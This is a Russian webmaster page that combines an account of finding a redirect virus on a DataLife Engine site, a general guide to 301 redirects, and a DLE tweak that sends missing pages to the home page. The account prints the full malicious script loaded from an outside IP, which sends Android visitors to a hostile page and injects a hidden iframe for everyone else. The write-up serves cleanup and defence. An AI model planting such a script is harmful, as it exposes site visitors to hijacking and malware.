Главная » Полезное » Редирект на правильный url dle. Необычный редирект-вирус в DLE. Редирект со ссылок с лишними символами или неправильным окончанием на верные адреса

Редирект на правильный url dle. Необычный редирект-вирус в DLE. Редирект со ссылок с лишними символами или неправильным окончанием на верные адреса

В сети уже описано множество ситуаций, когда сайт на DLE (Data Life Engine) злоумышленники заражали вирусом и ставили редирект на другой домен. В этой статье речь пойдёт об одном из таких взломов сайта, однако описания подобного вида заражения вы вряд ли встретите — своего рода уникальный вирус, которого заметили в первый раз.

Как вирус попал на сайт

Точных данных по источнику заражения получить не удалось. Согласно найденным файлам, которые были залиты в папку UPLOADS, ничего конкретного обнаружить также не получилось.

Вероятно был украден пароль от хостинга или админки сайта. FTP аккаунтов на сайте не использовалось.

Необычный редирект

Первый раз о наличии вируса сообщил Яндекс в панеле инструментов для Вебмастеров в воскресенье 16 ноября. Выглядело всё это так:

Поиск вируса на сайте

Чтобы найти вирус, был использован специальный скрипт Ai-bolit . Так как размер сайта превышал 1 Гигабайт, сканировать файлы на наличие вирусов непосредственно на сервере не удалось (не хватало времени выполнения).

Скачав на локальный диск архив сайта, была запущена проверка, результаты которой весьма удивили — ничего подозрительного в файлах не нашлось, но сайт по-прежнему редиректил то на домен непристойного содержания, то на загрузку подозрительного ПО.

При заходе на сайт с мобильного телефона под управлением ОС Android, пользователей автоматически перебрасывало на такую страницу:

Или такую:

Просматривая каждый файл по-отдельности, выявить угрозу также не получалось.

Как найти редирект при таком заражении DLE

Совершенно случайно в шаблоне main.tpl, в самом низу файла был . Прямо в коде виджета онлайн консультанта находился такой код:

Предпоследняя строчка показалась подозрительной, а именно — безобидная библиотека JQuery.ui.js загружалась с непонятного адреса, прописанного в виде IP.

Перейдя по этому адресу получаем следующее:

If(!getCookie("google__analytics__")){ var gate = "http://5.61.34.53/jquery/jquery.php"; var today = new Date(), tomorrow = new Date(); tomorrow.setDate(today.getDate() + 1); setCookie("google__analytics__", 1, tomorrow.toGMTString()); var ua = navigator.userAgent.toLowerCase(); if(ua.indexOf("android") > -1) window.location = gate; else{ var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0; el.src = "http://5.61.34.53/2c24"; } } function setCookie (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires: "") + ((path) ? "; path=" + path: "") + ((domain) ? "; domain=" + domain: "") + ((secure) ? "; secure" : ""); } function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); }

Именно эта строчка со скриптом и вызвала редирект. Удалив её, сменив пароли на сайте и хостинге, проблема исчезла.

Чем именно отличается этот редирект-вирус от других видов заражения

Искать по файлам сайта с помощью NotePad вхождения eval, base64 и другие, бесполезно. Проверять сайт антивирусами (всеми известными) — бесполезно. Проверка с помощью Ai-bolit также не принесёт результата.

Только в ручном режиме с самостоятельным просмотром можно увидеть результат, так как вирус загружается не с самого сайта, а с внешнего источника. Чтобы избежать подобный взлом сайта, никогда не храните логины и пароли в браузерах, делайте их многосложными и не используйте имя администратора ADMIN. Берегите свои сайты на ДЛЕ!

Статус темы: Закрыта.

  1. В связи миграцией на ДЛЕ 8.2 нужно прописать редирек со старых страниц на новые.

    В.htaccess добавляю Redirect 301 /content/view/121/54/ http://www.site.ru/alan

    Например, зашедших в test переадресуем на www.test.com , остальных на enter.test.com (порядок следования записей важен

    Примечание: для моих целей (изменение домена) хватило первого варианта простого 301 редиректа.
    2.
    Использование mod_rewrite (прописывается в файле.htaccess

    Ставшая классической задача слияния имена сайта с www и без него, решается так:

    Options +FollowSymLinks
    RewriteEngine on
    RewriteCond %{HTTP_HOST} ^yoursite\.com
    RewriteRule ^(.*)$ http://www.yoursite.com/$1 .

    Или альтернативный синтаксис:

    Options +FollowSymLinks
    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^domain\.com$
    RewriteRule ^(.*)$ http://www.domain.com/$1

    Обозначение означает: перенаправить клиента и отправить ему код статуса 301 (R=301) и сделать это правило последним (L).

    Редирект старого домена на новый:

    Options +FollowSymLinks
    RewriteEngine on
    RewriteRule (.*) http://www.newdomain.com/$1

    Например, если необходимо чтобы вместо rewrite.htm загружался файл rewrite.html, добавьте в.htaccess:

    RewriteEngine on
    RewriteBase /
    RewriteRule ^rewrite\.htm$ rewrite.html

    Для замены всех.htm файлов.html файлами:

    RewriteEngine on
    RewriteBase /
    RewriteRule ^(.*)\.htm$ $1.html

    3.
    Редирект на PHP:


    header("Location: http://www.newdomain.ru/newdir/newpage.htm");
    exit();
    ?>

    Лучше указать HTTP/1.1, так как более старые не поддерживают виртуальный хостинг. Не забудьте, что до вызова header, ничего не должно выводиться (например, echo или print). Поэтому этот код лучше ставить в начало php-скрипта. Более полный вариант php редиректа с сохранением передаваемой страницы и параметров вызова:

    $ref=$_SERVER["QUERY_STRING"];
    if ($ref!="") $ref="?".$ref;
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: http://newdomain.com/".$ref);
    exit();
    ?>

    4.
    Редирект на ASP

    <%@ Language=VBScript %>
    <%
    Response.Status="301 Moved Permanently"
    Response.AddHeader "Location", "http://www.new-url.com"
    response.end
    %>

    5.
    Редирект на ASP.NET

    6.
    Редирект на ColdFusion

    <.cfheader statuscode="301" statustext="Moved permanently">
    <.cfheader name="Location" value="http://www.new-url.com">

    7.
    Редирект с помощью meta refresh

    Где 0 - задержка переадресации в секундах, newdomain.com -страница, куда переадресуем. Некоторые старые браузеры не поддерживают meta refresh со значением 0, для совместимости можно установить ненулевой значение, хотя, на мой взгляд это уже не актуально. Такой редирект не сможет склеить ваши сайты (с www и без) и передать PR, так как игнорируется поисковыми системами. Он возвращает код 200 OK, что соответствует обычной странице. Эта техника популярна у спамеров, поэтому ее стоит применять только для страниц, которые не будут индексироваться.
    8.
    Редирект с помощью JavaScript

    Варианты переадресации на JavaScript чаще реализуются с использованием функции setTimeout("функция", задержка).

    Например, автоматически сделать Click на кнопке "Submit" формы "searchform" через 0.1 сек после загрузки кода:

    SetTimeout("document.forms["searchform"].Submit.click()", 100);

    На кнопку "Submit" можно повесить любое действие, например, открыть новый url в этом окне. Кстати такое редиректы чаще встречаются при организации Дорвеев (DorWay) - браузер Пользователя будет переадресован на другую страницу, а поисковый робот, который "не понимает" JavaScript, будет индексировать эту страницу, недоступную пользователю. На ней дорвейщики размещают текст, напичканный "нужными" ключевыми словами.

    Чтобы просто переадресовать на другую страницу можно вставить после один из вариантов кода на JavaScript:
    * location="http://www.newdomain.com";
    * document.location.href="http://www.newdomain.com";
    * window.location.reload("http://www.newdomain.com");
    * document.location.replace("http://www.newdomain.com");
    В последнем случае уже нельзя будет вернуться на страницу выполнившую переадресацию, так как ее адрес стирается из history, что нередко и нужною. Если нужна задержка по времени, можно оформить location="http://www.newdomain.com"; в виде функции и вставить ее в setTimeout("функция()", задержка_в_мсек); Редирект на JavaScrupt не является 301 редиректом и не передаст PR страницы, не сможет обеспечить ее склейку.

    Отметим дополнительно некоторые особенности редиректов:

    * Методы редиректа с.htaccess работают только на Linux серверах, имеющих Apache с включенным модулем Mod-Rewrite.
    * Использование.htaccess создает дополнительную нагрузку на сервер Apache, более эффективно прописывать те же команды в его конфигурационном файле hpptd.conf, но, как правило, к нему нет доступа у вебмастера.
    * 301 редирект, позволяет сберечь трафик и передать PR страницы для поисковых систем (для Google точно).
    * процесс склейки и передачи PR занимает длительное времени - до нескольких месяцев и также зависит от поисковой системы, поэтому не удаляйте старую страницу или сайт, пока не произойдет окончательный перенос.
    * некоторые поисковые системы требуют для склейки сайтов дополнительных настроек, например, для Яндекса нужно дополнительно прописывать robots.txt

    Заключение. Безопасный способ редиректа старых страниц на новые или старого сайта на новый адрес, с сохранением позиций в поисковых системах, заключается в использование 301 редиректа, который также позволит вам передать старый Page Rank страницы на новый сайт.

    Более подробно про mod_rewrite можно прочитать на:

Есть у меня сайт на движке DataLife Engine и решил я сменить его профиль. Не кардинально, просто немного сузить тематику. Для этого мне нужно было удалить с сайта больше половины контента, не относящегося к этой тематике. Начал понемногу чистить страницы, заменяя их содержимое на новый контент. Но все равно пришлось менять структуру URL и из-за этого в панели вебмастеров появилось , снизилась посещаемость, позиции в поиске по узкой тематике. Кроме этого заметил что на удаленные страницы есть ссылки с форумов и сервисов типа otvet.mail.ru . При переходе с этих страниц отдавалась ошибка 404. Кроме данного технического факта следуют другие отрицательные факторы — теряется ссылочный вес, снижаются поведенческие показатели и, думаю, еще ряд негативных последствий.

Решил я это исправить брутальным методом — по всем удаленным страницам отдавать не 404 ошибку, а делать 301 редирект на главную. В CMS DLE для того, чтобы осуществить данный хак нужно в файле /engine/modules/show.full.php найти код:

elseif ( ! $news_found ) { @ header ( "HTTP/1.0 404 Not Found" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; }

elseif(! $news_found) { @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); }

и заменить его на

// 301 редирект на главную, если новость не найдена/не существует elseif(! $news_found) { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); }// 301 редирект на главную, если новость не найдена/не существует

Теперь все при обращении поискового робота ему будет отдаваться сообщение о том, что информация с данной страницы перенесена навсегда на главную и весь ссылочный вес, который идет на удаленные страницы будет перераспределяться на главную.

Посетителей с удаленных страниц просто перенаправит на главную и, надеюсь, дальше они догадаются воспользоваться поиском.

Теперь опишу примерно такую же логику пере адресации, но уже не для новостей, а для категорий. Открываем файл /engine/engine.php и ищем код:

if (! $category_id ) $category_id = "not detected" ;

if (!$category_id) $category_id = "not detected";

который заменяем на

if ($config [ "allow_alt_url" ] == "yes" AND ! $category_id AND $view_template != "rss" ) { header ("HTTP/1.0 301 Moved Permanently" ) ; header ("Location: {$config["http_home_url"]} " ) ; die ("Redirect" ) ; } //решение проблемы с категориями, которых не существует

//решение проблемы с категориями, которых не существует if ($config["allow_alt_url"] == "yes" AND ! $category_id AND $view_template != "rss") { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); } //решение проблемы с категориями, которых не существует

Все. Теперь то же самое будет работать и для удаленных категорий DLE.



Предыдущая статья: Следующая статья:

© 2015 .
О сайте | Контакты
| Карта сайта